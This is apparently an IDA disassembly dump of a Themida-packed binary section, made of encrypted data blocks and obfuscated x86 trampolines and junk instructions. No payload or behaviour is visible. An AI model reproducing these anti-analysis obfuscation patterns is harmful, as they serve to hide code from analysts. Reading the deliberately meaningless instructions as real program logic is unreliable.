dd 0E7BD9A20h, 0AED80EB5h, 0B600054Fh, 4AECD735h, 79819A07h
dd 0B6000541h, 2489CC62h, 6F58F3F3h, 4FC38C2h, 4298B600h
dd 5A6E224h, 0B39CB600h, 15258E65h, 1477F939h, 0CADCh
dd 5454A600h, 0D3130246h, 19DDDD6Fh, 8CA7B600h, 0FF1E0593h
dd 1788155Ch, 74F63B76h, 0AF57DC01h, 1CCA83A2h, 0F46C86DAh
dd 68D9083Ah, 0A12B8DC4h, 89165FFEh, 0F317AC00h, 0FFF52249h
dd 0B8DBC4B5h, 3D7BACF1h, 59E23813h, 609A40FBh, 0BCAA93D8h
dd 4D08258Eh, 521F3FE0h, 0B5E3DCCDh, 4B06288Bh, 2EDCB5E6h
dd 5DE9A4C5h, 0C35625B7h, 4C11F204h, 0A9DAFE3Ah, 726BC4BCh
dd 95D87926h, 8053B473h, 68D9DAECh, 0DCh, 0E9CD574h, 79CD88A5h
dd 0AFFBB2D6h, 9F2B6E04h, 0C85E1334h, 43E42E43h, 7717B80Eh
dd 2143EC3Ah, 0D271D268h, 4D9F0F9Bh, 576FF3Bh, 9887C5B6h
dd 97135EFFh, 0AFE68669h, 0CE87A609h, 0DE9BB718h, 0FFCBF05Ah
dd 0B6FF9D5Ch, 0ACCF50DDh, 6F0ECF6Dh, 0B7A0F926h, 0C258316Ah
dd 0BA60DB79h, 0D9CEDA1Ch, 1B647C8Ch, 1DFF4B9Dh, 6AC5B606h
dd 0F8395CC5h, 0A733FA56h, 0BC3B1D23h, 0BA3CEAC3h, 0D3493C09h
dd 6C016225h, 9A058F29h, 0EE14B2FBh, 6C85C5Ch, 9C0D26B6h
dd 8063B5FCh, 91D4795Ah, 4B9D1B0Ch, 2853BD57h, 1D248D7Eh
dd 50F3377Eh, 663F642Dh, 33598DC8h, 53BD9189h, 50D87328h
dd 5C1132F3h, 65204ED7h, 82238838h, 3EE7CCF3h, 0C95D1437h
dd 218EC766h, 3A0h, 0CBB07B00h, 8C1158FFh, 0F4397013h
dd 0E340092Bh, 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh
dd 60CD84A4h, 4AD792BFh, 0E08950FAh, 405h, 4E88300h, 8B240487h
dd 0F682424h, 8900007Bh, 7668242Ch, 89000063h, 0B850241Ch
dd 185612F4h, 0F702E0C1h, 54040D0h, 6805E0F2h, 5458C589h
dd 83241C8Bh, 505104C4h, 8B8h, 58C18900h, 2989D901h, 2434FF59h
dd 4C4835Bh, 5D2434FFh, 4C481h, 0D3E90000h, 9CFFFADBh
dd 0ADA18CB8h, 0FFC50306h, 69475EE0h, 296DFE73h, 0FD1D6E46h
dd 0EE15D651h, 3DD52E04h, 71A5A62Ch, 0CFD3B802h, 31204156h
dd 19772B5Dh, 6A5F8575h, 1BA60E21h, 60C08B7Bh, 8E9h, 0FFD89800h
dd 3B6FC2E8h, 0BF666072h, 22B68D9Dh, 0BD836161h, 6A81ED9h
dd 83097500h, 0A82DE9BDh, 19740006h, 0C08B5350h, 3FCB8h
dd 0B5858900h, 8D06A807h, 0AAA1AC9Dh, 5BD3FF06h, 0E9BD8358h
dd 6A82Dh, 53501774h, 3FCB8h, 0B5858900h, 8D06A807h, 0AA9E9B9Dh
dd 5BD3FF06h, 0F16BBA58h, 6A33D6h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 170424h, 50400000h, 2A3E08C3h, 11E9C0h, 57900000h
dd 0FA16E893h, 316E7338h, 0A00700EBh, 66934341h, 8B51A3BAh
dd 39D381C0h, 8310C566h, 0A8339DBDh, 840F0106h, 40h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0D8C35747h, 83666312h
dd 0A81725BDh, 850F0006h, 14h, 0BD83F98Ah, 6A80061h, 5A840F00h
dd 66000000h, 1259F381h, 406E9h, 0FC00h, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 0F37EDBC3h, 0C7F7F2AAh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 18h, 28C35242h, 0E5F9E599h, 3800Fh, 8B660000h
dd 0A28BEFDEh, 0A389C62h, 0E190387Ah, 0C705D744h, 3D3E4CC7h
dd 6C3E1029h, 0AF67A9C1h, 48724D98h, 487AE3C5h, 6C3E2BC5h
dd 0AF6FD9C1h, 0BFD954FBh, 939153D1h, 85E49811h, 6C3E8C95h
dd 846BC4ABh, 6C3E62C2h, 31FD6CE1h, 681AF448h, 681A0840h
dd 6C3E26D9h, 30FD4684h, 0F275E0FAh, 39E11641h, 6C3E6229h
dd 81BF6CC1h, 6A933B15h, 846D4CABh, 6C3E26C2h, 37FD48E1h
dd 681AD548h, 681A8040h, 6C3E62D7h, 0A3FD6282h, 0ACB5D753h
dd 84694CABh, 6C3E26C2h, 33FD4CE1h, 681AF548h, 681A8040h
dd 6C3E62DAh, 0B3FD6686h, 26338DE4h, 63A7B5A0h, 6C3E2F44h
dd 6FBB1CC1h, 633E89C1h, 0DFAE1A76h, 0E0313254h, 6C3E31DBh
dd 6C3E8A29h, 0EBEDE0C1h, 1E12C1CAh, 2393012Bh, 81E9F54Ah
dd 0E70357DBh, 6AE3911h, 6FD666C1h, 4C3E98C1h, 0E5618F9Eh
dd 0ED3A02BDh, 753A3785h, 2B3E89C1h, 0FFDA0796h, 0AB370086h
dd 11853D73h, 63018B18h, 921A00C0h, 6C3CA4CEh, 4D8913C1h
dd 3A3EE399h, 6C3EC729h, 0AF6042C1h, 484AB89Fh, 487A19C5h
dd 6C3E5AC5h, 0AF6860C1h, 84ACAA72h, 6C3E89D3h, 563E4C4Bh
dd 99F3BE7Dh, 0D83EF34Ah, 0F2DE7EC0h, 0D758DD94h, 6964B825h
dd 6C3E11CDh, 6C3E8C28h
dd 5F947EC1h, 64B5E6AAh, 9C01CE7Ah, 24B5FEFEh, 3E3E263Dh
dd 6C3E2529h, 0AF6433C1h, 486A009Bh, 487A45C5h, 6C3E77C5h
dd 0AF6C73C1h, 0D6582FF1h, 6D868C5Bh, 633E26C1h, 6C3E1047h
dd 0B78186C1h, 3CEA4E50h, 3D3E0850h, 6C3E3229h, 0AF67B8C1h
dd 4872C598h, 487AA7C5h, 6C3E0AC5h, 0AF6FC8C1h, 8CB2F469h
dd 6AD747C5h, 593E31C1h, 0BAEAF2CCh, 6C2AA545h, 769326C1h
dd 0E4BBC612h, 0E1292B24h, 0B4648F34h, 4F34390h, 99B43F70h
dd 6E714A7h, 6FD61FC1h, 4C3E26C1h, 0E565D09Ah, 0ED3AAD9Dh
dd 773AE085h, 2F3E62C1h, 4EC8F292h, 58227FFAh, 0ADC82EB3h
dd 86BB29C5h, 0DF3E13C1h, 0E731D09Bh, 6C3EC4C6h, 0BCB504A1h
dd 0EC5F50A1h, 0E931F0F8h, 6C3E4D8Ah, 15B58F77h, 3E3E79C0h
dd 6C3E8A29h, 0AF64E4C1h, 486AEB9Bh, 487AB0C5h, 6C3E8CC5h
dd 0AF6C0EC1h, 86ECA771h, 3D5B21FEh, 2FC08A7h, 93BF9E80h
dd 0EC3E62C1h, 6D2FB3CEh, 6C5498C1h, 6C3DA493h, 361E26C1h
dd 38B74902h, 28BF8DE5h, 6C2AC0E5h, 3E7C62C1h, 86BF1A02h
dd 4C7D428h, 0CF1FC906h, 6C3F206Ch, 87BF13C1h, 422BA8B8h
dd 6C3FD228h, 3D3E08C1h, 6C3E3229h, 0AF67B8C1h, 4872C598h
dd 487AA7C5h, 6C3E09C5h, 0AF6FC8C1h, 38AD275Eh, 8578AA8Eh
dd 6C3E31CEh, 0CB3DC47Dh, 0CA44C98Eh, 0ABBC070Dh, 85270CA8h
dd 6C3E895Eh, 846FC4ABh, 6C3E62C2h, 35FD68E1h, 681AD448h
dd 681A0840h, 6C3E26D5h, 10FD4280h, 0ED58DA92h, 3702062Bh
dd 0ACB3B9Bh, 93354842h, 6C531CCEh, 6C544CC1h, 6C3DCE91h
dd 341E13C1h, 28B7D102h, 28BFC0E5h, 6C2866E5h, 3C7E31C1h
dd 26B8BC02h, 14E0F7A7h, 0CD0D9DA1h, 0D3314C02h, 0E9F9E819h
dd 6A9367E0h, 6C3E62C0h, 846931ABh, 6C3E98C2h, 33FD13E1h
dd 681A5A48h, 681A5740h, 6C3E89DDh, 0F0FD9386h, 17426D91h
dd 0C0399D10h, 6AB197A1h, 0ED3E4CC1h, 8341D32Eh, 9AE5AAF0h
dd 245FAD2Bh, 846FC4ABh, 6C3E62C2h, 35FD68E1h, 681AD448h
dd 681A0840h, 6C3E26DDh, 0E2FD4280h, 0DB16FD70h, 8EEAC2B5h
dd 6C3E6A28h, 3DEC51C1h, 0C7900CBAh, 0E4311C9Fh, 6C3E26C3h
dd 0D564E34Bh, 692322C9h, 0C570414Ch, 0D1B3646Ch, 6A939683h
dd 6B4A60FAh, 0A5EF43F1h, 6CBCD86h, 6FD640C1h, 4C3E89C1h
dd 0E565079Ah, 0ED3A469Dh, 783A1585h, 2F3E98C1h, 63FB8F92h
dd 6C3E2C44h, 68BD1CC1h, 0A3E89C1h, 0EF24AC7Ah, 0C40DFF7Ch
dd 0E83130C7h, 6C3E9894h, 0FF981E7Ah, 4983A5D9h, 6C38BBD6h
dd 6C7D0CCEh, 61D7C4C1h, 573E62C1h, 0EF604EF4h, 6E04E5Fh
dd 0DCE6DF86h, 6C5F9B42h, 633E1569h, 6C3ED245h, 3C3EAEC1h
dd 6C3E6129h, 0AF6611C1h, 487A1199h, 487ACDC5h, 6C3E30C5h
dd 0AF6E53C1h, 0EDB7C364h, 23B5902Ah, 6D148BE9h, 6C5431C1h
dd 6C3D7094h, 311E4CC1h, 0B77B02h, 28BF17E5h, 6C258DE5h
dd 397BC4C1h, 30329402h, 47839132h, 6FB697F0h, 0A3E4CC1h
dd 8EBFF04Ah, 50B17DEEh, 5FA33442h, 633FC269h, 6C3E1144h
dd 3E3E5BC1h, 6C3E9B29h, 0AF646CC1h, 486AAF9Bh, 487A92C5h
dd 6C3E9EC5h, 0AF6C86C1h, 277B4B74h, 0CC8AC97Ah, 6C54C5DDh
dd 6C3DA491h, 341E26C1h, 28B74B02h, 28BF8DE5h, 6C29C0E5h
dd 3C7E62C1h, 0DDE25102h, 0BDB5FEBBh, 8EBF2A02h, 0F5D76513h
dd 63E13C1h, 6FD6DCC1h, 4C3EC4C1h, 0E563A19Ch, 0ED3A15ADh
dd 7B3ABC85h, 293E4CC1h, 267FE594h, 0B08DF94Ch, 3A3EE39Ch
dd 6C3EC729h, 0AF6042C1h, 484AB89Fh, 487A19C5h, 6C3E54C5h
dd 0AF6860C1h, 48EC364Bh, 0E2DC09D3h, 6C3344CEh, 64D762C1h
dd 7D3E31C1h, 838AEEA0h, 0A3D5F2ABh, 846D26ABh, 6C3E13C2h
dd 37FDD2E1h, 681A9848h, 681A2640h, 6C3E31D6h, 0CBFDCB82h
dd 847D4AFCh, 6C3E26D0h, 0B0EE392Fh, 0C8FF0140h, 6A2941ABh
dd 0B83A604h, 0ED585130h, 0D04CA28h, 0BFB52A9Bh, 0CF4E9B4Ch
dd 0E1B3156Ch, 6A9320DAh, 5662D979h, 79BB51BAh, 473899D4h
dd 22C9D50Eh, 414C6923h, 646CC570h, 9683D1B3h, 60FA6A93h
dd 43F16B4Ah, 0CD86A5EFh, 0F305E983h, 21BD83A4h, 6ADA3h
dd 8D8D0D74h, 6A84FAFh, 1B8h, 40E1FF00h, 4820Fh, 0BA660000h
dd 830FE440h, 1, 2DE883F9h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 41C35242h, 0A1B88632h, 0F11D7C0h, 489h
dd 6BB6600h, 81C08B5Ah, 681EE6CAh, 0D9BD8331h, 6A81Eh
dd 0BD830975h, 6A82DE9h, 50197400h, 0B8C08B53h, 3FCh, 0FD58589h
dd 9D8D06A8h, 6AAA213h, 585BD3FFh, 2DE9BD83h, 740006A8h
dd 0B8535017h, 3FCh, 0FD58589h, 9D8D06A8h, 6AA9EB4h, 585BD3FFh
dd 0B1EB8DBAh, 0F6816004h, 75F34DBFh, 61D6BF0Fh, 8D8DC08Bh
dd 6ADAAC1h, 288D9509h, 8D8906A8h, 6A805B9h, 85C7DA8Bh
dd 6A81469h, 695Ch, 348DB52Bh, 85C706A8h, 6A80BBDh, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5A443B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A443B proc near ; CODE XREF: Themida_:005A4433p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5A443B endp
; ---------------------------------------------------------------------------
dec ebp
jge loc_5A445F
jmp loc_5A445F
; ---------------------------------------------------------------------------
db 3Ch
dd 0F1A8AC64h
db 57h, 7Ah, 90h
; ---------------------------------------------------------------------------
loc_5A445F: ; CODE XREF: Themida_:005A444Cj
; Themida_:005A4452j
push dword ptr [ebp+6A814A1h]
push 0
push edx
call sub_5A4470
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A4470 proc near ; CODE XREF: Themida_:005A4468p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_5A4470 endp
; ---------------------------------------------------------------------------
sub esi, edi
xchg ch, bl
fstp8 st(1)
enter 33A8h, 95h
mov ch, 16h
test al, 6
jmp loc_5A4498
; ---------------------------------------------------------------------------
db 0F3h
dd 2D9CF564h
; ---------------------------------------------------------------------------
loc_5A4498: ; CODE XREF: Themida_:005A448Ej
call dword ptr [ebp+6A820DDh]
push 0
push edx
call sub_5A44A9
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A44A9 proc near ; CODE XREF: Themida_:005A44A1p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_5A44A9 endp
; ---------------------------------------------------------------------------
or ecx, [ecx-11020DD8h]
or [ebx], edi
mov [ebp+6A82151h], edi
push 0
call dword ptr [ebp+6A81B31h]
mov eax, eax
jmp short loc_5A44FC
; ---------------------------------------------------------------------------
db 0FFh
dd 9AF4AA85h, 54839CE3h, 15D734FFh, 380AB2C7h, 6C114463h
dd 0C0711DDCh, 0B434AE87h, 0FF587185h, 30ECF368h, 0ED2BA960h
; ---------------------------------------------------------------------------
loc_5A44FC: ; CODE XREF: Themida_:005A44D1j
jmp loc_5A4525
; ---------------------------------------------------------------------------
db 43h, 0B1h, 0F0h
dd 73h, 7 dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5A4525: ; CODE XREF: Themida_:loc_5A44FCj
jmp loc_5A512D
; ---------------------------------------------------------------------------
push 6ADAC99h
jmp loc_55E058
; ---------------------------------------------------------------------------
push 6ADAD87h
jmp loc_55E058
; ---------------------------------------------------------------------------
push 6ADAF54h
jmp loc_55E058
; ---------------------------------------------------------------------------
push 6ADB040h
jmp loc_55E058
; ---------------------------------------------------------------------------
push 6ADB308h
jmp loc_55E058
; ---------------------------------------------------------------------------
push 6ADB480h
jmp loc_55E058
; ---------------------------------------------------------------------------
push 6ADB55Ah
jmp loc_55E058
; ---------------------------------------------------------------------------
mov cl, 0CDh
aaa
xchg eax, esi
and [esi+30AF2340h], dh
int 3 ; Trap to Debugger
scasd
fld tbyte ptr [esi+255D3152h]
fistp qword ptr [esi+3BA7571Fh]
rcr dword ptr [esi+ebp+592D4EB0h], 2Ch
fdivr dword ptr [ebx+436094C7h]
add esi, edi
pushf
jo short loc_5A45F0
or al, 58h
cmp eax, 0B9D2DDF4h
dec ebp
fld dword ptr [esi]
jmp dword ptr [esi]
; ---------------------------------------------------------------------------
db 5Dh
dd 7569BE91h, 629A844Dh, 5BDABDB4h, 6704F0EBh, 48F9BB24h
dd 5EE11D4Ah
; ---------------------------------------------------------------------------
loc_5A45C0: ; CODE XREF: Themida_:005A4631j
mov eax, ds:0F9564841h
pop ebx
push edi
pop ebx
and dl, dh
inc esp
in eax, 22h
loc_5A45CD: ; CODE XREF: Themida_:005A45D2j
mov edi, 0E40CB664h
js short loc_5A45CD
cmpsd
pop esi
mov edx, 98DDFB15h
pop ds
push esi
rol dword ptr [ecx+0], 0
add [esi-1Bh], ch
cld
mov esi, 17724081h
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_5A45EB: ; CODE XREF: Themida_:loc_5A45F0j
cmp esi, esi
aaa
jmp short loc_5A461E
; ---------------------------------------------------------------------------
loc_5A45F0: ; CODE XREF: Themida_:005A4599j
loop loc_5A45EB
pop ebx
rep mov al, 8Fh
dec esi
sub al, 80h
sub eax, 52CDA7F6h
rol dword ptr [ebx-5Fh], cl
jno short loc_5A4630
mul byte ptr [edi-77F835h]
test [esi], cl
in al, dx
mov ecx, 488F747Ch
and ebx, [esp+esi*2]
inc esi
; ---------------------------------------------------------------------------
db 8Ch, 0F5h, 32h
dd 1F063254h
db 56h, 3Ch
; ---------------------------------------------------------------------------
loc_5A461E: ; CODE XREF: Themida_:005A45EEj
into
; ---------------------------------------------------------------------------
db 0
dd 0D2050000h, 4BD94DB9h, 7185F61Fh, 649D7CBDh
; ---------------------------------------------------------------------------
loc_5A4630: ; CODE XREF: Themida_:005A4601j
outsb
jno short loc_5A45C0
or bl, [eax-0E5AAEF6h] ; CODE XREF: Themida_:005A463Aj
out dx, al
loopne near ptr loc_5A4633+2
add eax, 8FEF1091h
; ---------------------------------------------------------------------------
db 67h, 0FEh, 0A1h
dd 30F3325Eh, 0E41DE982h, 4B1DDC99h, 4ACD6E1Eh, 0EE9A1829h
dd 1E238614h, 0A18950FCh, 3821D5Eh, 0A18ED6DFh, 6F9BCC5Eh
dd 0C57191D2h, 905EA18Ch, 99ED8E11h, 0D881AEEh, 7999A6E4h
dd 5BF98F6Ch, 0F6B5D649h, 54B64B09h, 0A2A03590h, 717D821Dh
dd 0FCD2F309h, 0E59C7E84h, 13F8E31h, 9B32293h, 1B4B0000h
dd 9CCEBCE1h, 0E75496Ah, 84FDD1F2h, 7B675B78h, 3539DC81h
dd 0C6E71D45h, 57748AF0h, 0DDFE0A63h, 690AFEE9h, 5AF2145Bh
dd 17580C52h, 0B6D2A79Ah, 0A5C31928h, 0D554C632h, 2EC0CA16h
dd 56DB4BBFh, 37714F7h, 28FF9C68h, 81BEFCE5h, 0F9E25861h
dd 0DC8B075Bh, 57FF1F20h, 22A7F62Ch, 29D0083h, 2CC26E90h
dd 37A0A7F6h, 0A4DD53C3h, 374CA58h, 0F18227F7h, 1DB9903Fh
dd 9ABC527Dh, 84561EE0h, 0BCh, 4DB9D2ADh, 0E51F4BD9h, 0F9068F31h
dd 4B3C5EA1h, 214182BFh, 0A15E05F5h, 1A9A61C0h, 9F3C91AEh
dd 7B4F2CEFh, 0A726F400h, 0A7C7783Ah, 0A40619BEh, 800BA8FBh
dd 0FA1C2567h, 0A2AFA9CDh, 5DA1DED4h, 3AA968C9h, 96798DF8h
dd 947D6569h, 8AB716ECh, 5754E473h, 88B4154h, 916B176Bh
dd 8EBDE22Dh, 75D84A3Fh, 8C5h, 0B2D32955h, 3F5CAADCh, 0C3E01C4Bh
dd 4D6E92CFh, 0DAFB0179h, 27433B33h, 9CCAB8DDh, 184D4162h
dd 80FBCFECh, 0EA2D5774h, 0C536C88h, 0B1E02958h, 2D5FB6D2h
dd 7E64BDBh, 29515D66h, 89E250D3h, 0DC27587Dh, 0A40A8299h
dd 88EA17AFh, 5EA1026Ch, 2437F629h, 2D5EB9D2h, 5E445D9h
dd 0CFA281FCh, 4ED09D11h, 0AF7F8BFCh, 851B8B0Ah, 68526D2h
dd 68669BD9h, 10EC9B7Eh, 0FDBCFDB1h, 7A5BE204h, 8D145BF9h
dd 37D08B19h, 45E4B64Ah, 9ACDC1E2h, 0C402BC6Eh, 40087D9Dh
dd 32A59F30h, 169CA5C6h, 9F02906Ah, 0C93DAE1Ch, 53048A55h
dd 973AE4A7h, 363B75A7h, 545A2D62h, 0FD51D02Eh, 0CDC17E8Ah
dd 0F40E7A97h, 61208115h, 29DD8EFCh, 57136A75h, 41D0C055h
dd 75A27C3Fh, 0C2709F86h, 0E4EA9D32h, 378706FCh, 4E8FB044h
dd 75EC802Ch, 0FD36CD3Bh, 0DEED4A4Eh, 5F3CFF5Eh, 0C93DA826h
dd 0E155D455h, 5E666F6h, 31B7E65Dh, 9079DC4Eh, 90CD2DD2h
dd 1D3E2D20h, 8614E891h, 0E1B54930h, 5D7EE140h, 4EF3B15Eh
dd 0D564192Ch, 6B3B6A04h, 257F18B9h, 2061A206h, 257F963Eh
dd 0C140E306h, 0C8EE008Fh, 0D6B54B93h, 48Ch, 1C9C0D7Bh
dd 4F90B1F3h, 0A1FE872Fh, 0ED0DD25Eh, 5EA1FE41h, 7332950Ch
dd 0B4364D8Eh, 7C1903E7h, 229B47C6h, 0F5BF994h, 6D106B94h
dd 0F60ADEEFh, 0AAC224DDh, 0E7A7F972h, 0CA1CFDBCh, 0CB03233Fh
dd 0BF7ECE2h, 8618729Bh, 4182924Fh, 3FD85FDEh, 0E7A2C47Dh
dd 0A8477195h, 545AA579h, 0E544D62Ch, 783AA722h, 9648A7C7h
dd 89054E19h, 367B2BD1h, 0B324AA57h, 27502647h, 0FF2A73D3h
dd 0C9EC21Bh, 6F881h, 24DE8600h, 0AF593387h, 3FC3B80Eh
dd 4DB1289Eh, 0D42E5A28h, 0BE6014B7h, 279B38C2h, 502647B9h
dd 0DEACD125h, 83459ADh, 510FA7C7h, 0CD4A580Ch, 4DB9D2D2h
dd 0BF433EB4h, 19956EFCh, 0AB0E9C60h, 0D12D5AE8h, 0D3E1ACh
dd 0E50E0000h, 6F90BCFEh, 3DFC0863h, 791F5756h, 129EB856h
dd 73805CC7h, 91000000h, 83BCFEE5h, 5613E578h, 0A6698EB6h
dd 2983959h, 4AD55EA1h, 0E5114AD8h, 6D99F2C0h, 95B35CB9h
dd 1DA9EA12h, 0D26FCE96h, 0DF5EA4DCh, 7679C022h, 0AA285BF9h
dd 0D944C733h, 0B042B946h, 0B1C3072Bh, 571D9110h, 638BEB2Ch
dd 2EA7F934h, 4B4434F7h, 469DC13Ch, 0F4E71BCAh, 63832B4Bh
dd 57CEA7F9h, 0B594B2D4h, 79A561Fh, 0A7000000h, 0D6EDh
dd 0FCE50200h, 586181BEh, 655BF9D0h, 3543583Ah, 71E33474h
dd 60C1Ch, 8F29200h, 9365176Bh, 1BE79CF2h, 0A15D047Ah
dd 28D28EFCh, 928CE08Bh, 1B6F0CF6h, 9CF2936Dh, 0A781DE9h
dd 0FC00A551h, 4E335BBBh, 317E580Ch, 0BCFEE51Eh, 8A1DFD90h
dd 707323DFh, 0A1FEE60Eh, 8270B35Eh, 4A8519E5h, 6B200986h
dd 0A6DDAAE5h, 7A6DBDADh, 1B644B8Eh, 103650D3h, 1E5CC7F7h
dd 47h, 0BCFEE523h, 0B11BFD90h, 0F81EF0DFh, 0E65CC70Eh
dd 33h, 0AFFEE54Bh, 0D958CA3Eh, 2E27DA76h, 4623AF50h, 0C649E8BAh
dd 244F19B6h, 4D5EA206h, 0BD413EB4h, 0E21875BEh, 26E9713Eh
dd 0C6BE2740h, 0FEB5095Ch, 0E516FFFFh, 0FD90BCFEh, 0A9E66AF4h
dd 0C70F2147h, 25E0D5Ch, 9F120000h, 0EC293B64h, 0F1B03183h
dd 4FDF255Dh, 0AE7C80F9h, 0E9C6218h, 697BDECFh, 483A7209h
dd 21B68F1Fh, 6CA65B01h, 0A050198Dh, 54A0D5EFh, 948063C6h
dd 91C9F3DCh, 0C744A6Bh, 38A124F6h, 0E4A5C57Ah, 0A95BF975h
dd 10827E65h, 537C2E91h, 87FDF132h, 0DA04A579h, 0A7F98FB2h
dd 93E5A4FFh, 0A05A063Ch, 4DD38F03h, 3A536B97h, 5BDF0BCEh
dd 0C7F9AD0Ch, 0A7F9DFABh, 0B5699FC9h, 0F6937467h, 64FBAB0Ah
dd 0A1D2FBD4h, 8E781260h, 6A1A9D1Ch, 245C5225h, 0F3EF5FDEh
dd 6A166409h, 0BAC10290h, 0BEA01F2Dh, 0A7F91A16h, 0C505C063h
dd 109716FCh, 0C03AA6F7h, 7FCF52h, 288B2EFCh, 14E09B17h
dd 0D9638BEBh, 0F72EA7F9h, 48ACB34h, 3CE2A551h, 0A2A1CE01h
dd 71923372h, 3AFD0B7Dh, 0EF1052BFh, 5616568Fh, 52C063A9h
dd 0A61A04B0h, 0A6E9BFB2h, 0F30C4EABh, 0FE094A93h, 9F3C67B7h
dd 0D644B02Bh, 7F871740h, 0E512E8AEh, 7E3D5EC1h, 0CC2ED391h
dd 0BEA614FDh, 0B78659A4h, 85975A0Dh, 0E4B64A31h, 9A5FC245h
dd 1D916D14h, 932A429Ch, 3C678016h, 0B12EA45Dh, 0D958D94Dh
dd 93779B45h, 82CD8016h, 0ADA8560Ch, 39F7F560h, 5D2FEEA0h
dd 757A9C72h, 3F643B7Eh, 0CD000000h, 81BEFCE5h, 0F9E25861h
dd 0EE5E655Bh, 23C455ACh, 0FBC92C53h, 0EEBF597Ch, 0CD659F0Fh
dd 77A7F680h, 7ABBCCC3h, 0F680FC18h, 1E8DE1A7h, 52F6813Ah
dd 0B5D554CFh, 561E3B93h, 0B19Bh, 0B9D2A400h, 403EB44Dh
dd 0CA4DECBEh, 697C8758h, 5FFDDA0Ah, 7886FC4Eh, 368407AAh
dd 0ACE2B04Ah, 0F132CF3Bh, 0A1A26591h, 9B6D1F5Eh, 0B3299D04h
dd 8758CA4Dh, 0E0A35D0Bh, 34CD3952h, 6F3FC3BEh, 382A4BCAh
dd 5EA1A5FDh, 32A8D6DCh, 6FD48467h, 0A97DDC62h, 42358908h
dd 699615B6h, 45F4162Bh, 2E5BF815h, 1C444AF7h, 89F1C5E6h
dd 389E9373h, 0D84A3476h, 34475h, 50AADA00h, 0DB2D5F33h
dd 639FC4BAh, 0E9154C42h, 708AF6C4h, 0DAC4A853h, 433754AEh
dd 0C4BADB25h, 72406591h, 0B4C8ED19h, 4DFB1373h, 79B6580Ch
dd 4CB6D246h, 0D4205B2Fh, 0B9D260B7h, 0C506D94Dh, 0A1FE09A5h
dd 5ADD445Eh, 6A0BFFE8h, 0D72D5559h, 3023E247h, 0D94DB9D2h
dd 2FCFFF06h, 170DF878h, 41B52694h, 6C70991Ch, 0A101E20Ah
dd 9574AF5Eh, 3BA72B6Ch, 12CC6DC1h, 5EA101FAh, 54AD6CB7h
dd 0F90CC732h, 0A579A85Bh, 0F91ED77Bh, 0E2AD6DA7h, 1FF2EA0Ch
dd 36F456h, 0E55D0000h, 6181BEFCh, 5BF9E258h, 8A4C607h
dd 45A7F62Ch, 5DC45BDAh, 2CFB17C9h, 0B141A7F6h, 0E0D6F01Eh
dd 0C2D0561Eh, 6ACF5FABh, 0F05EABh, 810D0000h, 706322D6h
dd 205EB9D2h, 0AED4CDEh, 0A45E0A98h, 0C337A0F6h, 64029053h
dd 0E6A9089Ah, 93C42354h, 9372B767h, 0F925F0F2h, 0AED95EA1h
dd 24AE204h, 9C07A15Eh, 1C67983Dh, 23E28B31h, 37ECC9Fh
dd 0DD8E3CFFh, 0F7107529h, 936A8CB5h, 3EA40569h, 4ECF15C7h
dd 64D62065h, 9807867Ch, 0B8216409h, 0AAAC569Eh
dd 0AF01C43Eh, 20E14071h, 4DF9725h, 89082AFBh, 59E91678h
dd 3FCAA2AFh, 9E8AD9D9h, 59E649F5h, 69B2E222h, 0C84BD298h
dd 55B5F637h, 0AC0DF639h, 0D86A2D74h, 0ED1349A0h, 6D15690Ah
dd 0F1D43797h, 0AE3C3F8Fh, 1CC27h, 0C8325200h, 53A5D7ABh
dd 0DB275C32h, 619DC4BAh, 0E8124E3Ch, 524C20CBh, 0DBAFCC36h
dd 5C3253ADh, 0CAB8DD29h, 3C406591h, 4A739BFBh, 0F13E580Ch
dd 4CB6D2DEh, 8A205B2Fh, 0A1FECC68h, 0B716895Eh, 0FCE50316h
dd 5CCE3AADh, 0A5C57ADDh, 5BF9E264h, 0FA24F629h, 0A7F62C56h
dd 8D632CECh, 561EE16Bh, 0BE73h, 0B9D2DC00h, 1F4BD94Dh
dd 2A565CE5h, 5CDF42D0h, 0F99914CEh, 0C2B55EA1h, 116C9536h
dd 0E4DCFD47h, 7AC84B74h, 0A421F501h, 0A6C8793Bh, 0A405755Fh
dd 0A1E48918h, 84C57A38h, 0F69FCA62h, 0CD31A8A7h, 0B34CCF56h
dd 0AF158B53h, 42FF26A2h, 769EC001h, 43AC0D3Ch, 0F5ED21E0h
dd 8BFCF20Fh, 8B0AAF7Fh, 0ACD5D9EAh, 0DC5FC250h, 2A88726Eh
dd 3F8F3BDBh, 0F220AD3Fh, 88000000h, 398D2ED4h, 0A614B94Fh
dd 0D2A0C539h, 542A4BB7h, 16B5D62Ch, 3EC4BC5Eh, 4DB3299Dh
dd 0D7235A28h, 6397C0B6h, 9DFD0242h, 580C4B71h, 0D2DCF33Ch
dd 0BB215FB6h, 0EE9E892Dh, 0EF4E3196h, 7B8FF8CEh, 6C92C8C6h
dd 9F59C8ADh, 0A329964h, 0DA65F0D6h, 0A7F55163h, 76C44726h
dd 949505h, 3E829123h, 0C934CF5Fh, 1D870C30h, 43F3B285h
dd 0FCBFDC28h, 55B05113h, 0D1249A97h, 0FD232638h, 841C4EB6h
dd 53B34CCFh, 5BFD964Bh, 4CBA2C66h, 12954EDh, 49E4D68Ah
dd 2C48AA57h, 69A7F24Eh, 51E77736h, 0DDB1D226h, 12CC5EAAh
dd 72BF4B98h, 714B441Ch, 414DF206h, 7084F116h, 1D9C7FA2h
